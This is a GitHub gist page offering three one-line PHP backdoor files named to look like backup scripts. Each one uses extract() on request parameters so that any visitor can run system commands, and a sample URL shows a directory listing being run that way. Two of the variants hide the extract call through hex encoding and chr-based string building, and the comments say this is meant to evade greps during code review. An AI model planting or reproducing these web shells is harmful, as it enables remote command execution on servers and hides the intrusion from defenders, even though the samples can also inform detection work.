Skip to content

Instantly share code, notes, and snippets.

@iamtutu

iamtutu/backup.php

Forked from leonjza/backup.php
Last active October 24, 2017 10:01
Show Gist options
  • Save iamtutu/6002454cf508839ec784c8a6336a8e06 to your computer and use it in GitHub Desktop.
Save iamtutu/6002454cf508839ec784c8a6336a8e06 to your computer and use it in GitHub Desktop.
Download ZIP
PHP extract() Backdoor RCE | Sample usage: foo.bar/backup.php?ctime=system&atime=ls -lah
Raw
backup.php
<?php extract($_REQUEST); @die($ctime($atime));
Raw
backup_.php
<?php $debug = pack("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Slightly Obfuscated to evade some greps for extract() method
Raw
backup__.php
<?php $debug = "ch". "r"; $debug = implode(array_map($debug, explode(":","112:97:99:107"))); $debug = $debug("H*", "65787472616374"); $debug($_REQUEST); @die($ctime($atime));
// Even more obfustication to avoid using any 'suspect' functions directly
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment